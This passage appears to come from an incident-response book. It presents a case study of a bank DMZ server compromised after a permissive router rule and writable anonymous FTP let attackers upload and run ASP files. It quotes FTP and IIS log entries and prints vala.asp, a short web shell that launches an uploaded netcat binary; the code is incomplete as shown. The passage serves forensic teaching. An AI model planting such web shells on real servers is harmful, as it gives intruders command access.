Although there are a wide variety of incidents, a recent case provides a good example of a still common type of incident that organizations must resolve. On January 25, 2003, a se- curity administrator at a regional bank thought he was enhancing the rule set on a Cisco router by applyingIP permit ANY ANYas the first rule. On a Cisco router, the rules are applied in order. As the first rule in the list, this addition effectively removed any access restrictions that the router was providing. This particular router was used to protect an Internet-facing “demilitarized zone” (DMZ).
Fast-forward one month, when the security administrator notes that the Internet connec- tion is abnormally sluggish. Further investigation shows that Internet systems are trans- ferring large amounts of data to and from an FTP server within the DMZ. The FTP transfers are a red flag, because Internet FTP is not allowed by the bank’s policy. The sys- tem administrator begins to investigate.
The FTP server is configured to permit anonymous FTP, with directories allowing both read and write access. A common risk associated with this exposure is that software pirates and media lovers will use the FTP server to store and tradewarez, or illegal soft- ware. That is exactly what was happening. The security administrator discovered direc- tories containing entire movies such asTomb RaiderandStar Wars. Internet users were saturating the bank’s connection as they traded DVDs.
For many administrators, the case would end here. The solution would be to immedi- ately reapply the access controls on the router and disable anonymous FTP access. They would consider the computer misuse annoying and unfortunate, but not a huge business impact. It’s the type of incident that system administrators deal with on a regular basis. However, in this case, because the systems were deemed sensitive due to their business function, an outside opinion on the incident was requested.
The computer in question was a web server and staging server used by software de- velopers who were creating and updating the bank’s e-commerce software. Key ques- tions included:
▼ Did Internet users download sensitive source code or information?
■ Did Internet users upload malicious code or modify source code?
■ Was the computer accessed in any way other than FTP?
■ If so, did the access occur at a higher privilege level?
■ Was the computer used to access other systems in the DMZ?
After collecting the data, the consultant found several pertinent facts. First and most alarming, the web server and FTP server were configured to use the same root directory. That meant that any files and directories accessible via FTP were also accessible via the web server. Although the FTP server did not allow files to be executed, this was not the case on the web server, which allowed files to be uploaded and executed. Any FTP user could potentially upload an Active Server Pages (ASP) file and then execute the ASP file via a web browser. ASP files could be created to perform virtually any task, including running uploaded executables.
The investigation then focused on the application log files. Within a few days of the Cisco router rules being removed, files named space.asp, DirwalkR.asp, and vala.asp were uploaded to the server. A portion of the FTP log file entries is shown below (with axxx.xxx.xxx.xxxrepresenting the source IP address).
12:13:53 xxx.xxx.xxx.xxx [996]sent /DirWalkR.asp 550 12:13:55 xxx.xxx.xxx.xxx [996]created DirWalkR.asp 226 12:14:40 xxx.xxx.xxx.xxx [996]sent /ncx99.exe 550 12:14:45 xxx.xxx.xxx.xxx [996]created ncx99.exe 226 12:14:45 xxx.xxx.xxx.xxx [996]sent /vala.asp 550 12:14:47 xxx.xxx.xxx.xxx [996]created vala.asp 226
A review of the IIS web server log files showed that those files had been successfully executed via the browser, by the same IP address (not shown here, to protect the guilty) that transferred them to the server. In the following reproduced log file entries, note the status code of200, which indicates the files were successfully executed.
12:13:37 xxx.xxx.xxx.xxx GET /space.asp 200 12:13:59 xxx.xxx.xxx.xxx GET /dirwalkR.asp 200 12:14:08 xxx.xxx.xxx.xxx GET /dirwalkR.asp 200 12:14:20 xxx.xxx.xxx.xxx GET /dirwalkR.asp 200 12:14:23 xxx.xxx.xxx.xxx GET /dirwalkR.asp 200 12:14:27 xxx.xxx.xxx.xxx GET /dirwalkR.asp 200 12:15:02 xxx.xxx.xxx.xxx GET /vala.asp 200
A review of the ASP files determined that these files performed tasks such as showing how much space was on a hard drive and creating a recursive directory listing. Much more disturbing, the vala.asp file, shown below, returned anetcatshell!
<%
dim command
command = server.mappath("ncx99.exe") Response.Write command
dim wshShell, boolErr, strErrDesc On Error Resume Next
wshShell.Run command, 0, TRUE if Err Then boolErr = True strErrDesc = Err.Description end if %>
This was devastating news, because now the investigators knew that the attackers had interactive access to the operating system. Further investigation showed several days of deleted log files.
At this point, it was safe to assume the server had been compromised completely from the Internet. Further investigation would reveal the extent of the attack on other sys- tems and customer data.
This particular example is indicative of many of the cases that system administrators encounter regularly. Unfortunately, many system administrators ignore these incidents rather than investigate further. A well-executed response can uncover the true extent of a compromise and prevent future occurrences.
SO WHAT?
These case studies illustrate the variety of incidents that the computer crime investigator may encounter. Incidents requiring computer investigative skills may be direct computer crime, or they may involve situations unrelated to hacking. Even in technically clear-cut cases, many factors will influence the investigation. This book will prepare the computer investigator with a process, tools, and techniques to successfully investigate and resolve a variety of incidents. The next chapter begins with an overview of the incident response process.